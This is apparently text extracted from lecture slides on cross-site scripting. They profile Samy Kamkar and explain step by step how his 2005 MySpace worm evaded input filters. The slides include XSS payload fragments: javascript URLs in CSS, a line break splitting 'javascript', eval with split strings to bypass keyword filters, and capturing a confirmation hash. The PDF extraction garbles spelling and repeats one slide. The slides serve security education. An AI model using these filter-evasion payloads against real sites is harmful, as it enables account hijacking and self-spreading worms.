












XSS	
  



















at	
  16,	
  got	
  out	
  of	
  high	
  school	
  
so2ware	
  developer	
  

Made	
  Evercookie	
  on	
  NYT	
  
(2010),	
  NSA	
  used	
  it	
  traking	
  
Tor	
  users	
  	
  

Found	
  PHP	
  flaw	
  in	
  session	
  
cookie	
  (160bit-­‐>20bit	
  
entropy),	
  fixed	
  himself	
  (2010)	
  

Found	
  weakness	
  of	
  credit	
  
card	
  NFC/RFID	
  system	
  (2008)	
  

at	
  19,	
  spread	
  Samy	
  Worm	
  
(Oct	
  2005),	
  got	
  arrested,	
  
probaZon	
  with	
  3-­‐years	
  no	
  
computer,	
  and	
  some	
  fine	
  	
  

12/1/2013	
  Amazon	
  Prime	
  
Air	
  announced.	
  Next	
  day,	
  
Samy	
  released	
  SkyJack,	
  
Drone	
  hijaker.	
  Open	
  source	
  /
w	
  hardware	
  

Discovered	
  iPhone/Android/
MS	
  collect	
  user	
  locaZons,	
  
WSJ	
  (2011).	
  Found	
  google	
  
use	
  this	
  data	
  for	
  their	
  Wifi	
  
locaZon	
  service	
  

Samy	
  
Kamkar	
  

haps://www.youtube.com/watch?v=fWk_rMQiDGc	
  

haps://www.youtube.com/watch?v=nC0i81eMLb8	
  



How	
  Samy	
  got	
  MySpace	
  
•  hap://namb.la/popular/tech.html	
  
•  How	
  to	
  embed	
  a	
  code?	
  

–  Oops,	
  Don’t	
  allow	
  script-­‐related	
  tags	
  (script,body,onLoad,…)	
  
–  <div	
  style="background:url('javascript:alert(1)')">	
  

•  How	
  to	
  put	
  quote?	
  (alert(‘haha!’))	
  
–  <div	
  id="mycode"	
  expr="alert('hah!')"	
  

style="background:url('javascript:eval(document.all.mycode.expr)')">	
  
•  “Javascript”	
  filtered	
  

–  Yeh~	
  MySpace	
  and	
  IE	
  allows	
  java\nscript	
  !	
  
–  <div	
  id="mycode"	
  expr="alert('hah!')"	
  style="background:url('java	
  

script:eval(document.all.mycode.expr)')">	
  
•  Need	
  double	
  quote?	
  \”	
  is	
  filtered	
  

–  <div	
  id="mycode"	
  expr="alert('double	
  quote:	
  '	
  +	
  String.fromCharCode(34))"	
  
style="background:url('java	
  	
  

script:eval(document.all.mycode.expr)')”>	
  



•  Who’s	
  viewing	
  current	
  profile?	
  Source	
  HTML	
  contains	
  viewer’s	
  ID,	
  
so	
  use	
  document.body.innerHTML.	
  	
  
–  Oops,	
  “innerHTML”	
  filtered.	
  
–  eval('document.body.inne'	
  +	
  'rHTML’)	
  

•  Access	
  to	
  other	
  webpage?	
  
–  AJAX,	
  but	
  onreadystatechange	
  is	
  filtered	
  
–  eval(‘xmlhap.onread’+’ystatechange=callback()’)	
  

•  Get	
  user	
  ID?	
  
–  html.indexOf(‘friendID’)	
  is	
  always	
  true	
  
–  html.indexOf(‘fien’+’dID’)	
  

•  Change	
  domain	
  
–  addFriend	
  page	
  is	
  on	
  www.myspace.com,	
  but	
  now	
  I	
  am	
  

profile.myspace.com.	
  Oops,	
  AJAX	
  cannot	
  do	
  on	
  different	
  domain	
  
–  change	
  domain	
  
–  if	
  (locaZon.hostname	
  ==	
  'profile.myspace.com')	
  document.locaZon	
  =	
  

'hap://www.myspace.com'	
  +	
  locaZon.pathname	
  +	
  locaZon.search;	
  
•  POST	
  with	
  hash?	
  When	
  add	
  friend,	
  confirm	
  page	
  shows	
  up	
  with	
  

hash,	
  and	
  POST	
  done	
  with	
  hash.	
  So,	
  get	
  the	
  hash!	
  



•  Who’s	
  viewing	
  current	
  profile?	
  Source	
  HTML	
  contains	
  viewer’s	
  ID,	
  so	
  use	
  
document.body.innerHTML.	
  	
  
–  Oops,	
  “innerHTML”	
  filtered.	
  
–  eval('document.body.inne'	
  +	
  'rHTML’)	
  

•  Access	
  to	
  other	
  webpage?	
  
–  AJAX,	
  but	
  onreadystatechange	
  is	
  filtered	
  
–  eval(‘xmlhap.onread’+’ystatechange=callback()’)	
  

•  Get	
  user	
  ID?	
  
–  html.indexOf(‘friendID’)	
  is	
  always	
  true	
  
–  html.indexOf(‘fien’+’dID’)	
  

•  Change	
  domain	
  
–  addFriend	
  page	
  is	
  on	
  www.myspace.com,	
  but	
  now	
  I	
  am	
  profile.myspace.com.	
  

Oops,	
  AJAX	
  cannot	
  do	
  on	
  different	
  domain	
  
–  change	
  domain	
  
–  if	
  (locaZon.hostname	
  ==	
  'profile.myspace.com')	
  document.locaZon	
  =	
  'hap://

www.myspace.com'	
  +	
  locaZon.pathname	
  +	
  locaZon.search;	
  
•  POST	
  with	
  hash?	
  When	
  add	
  friend,	
  confirm	
  page	
  shows	
  up	
  with	
  hash,	
  and	
  

POST	
  done	
  with	
  hash.	
  So,	
  get	
  the	
  hash!	
  
•  Well,	
  copy	
  code,	
  go	
  hap://jsbeauZfier.org,	
  get	
  it	
  beauZfied!	
  





























Thank	
  You	
  

be	
  Secure!	
  


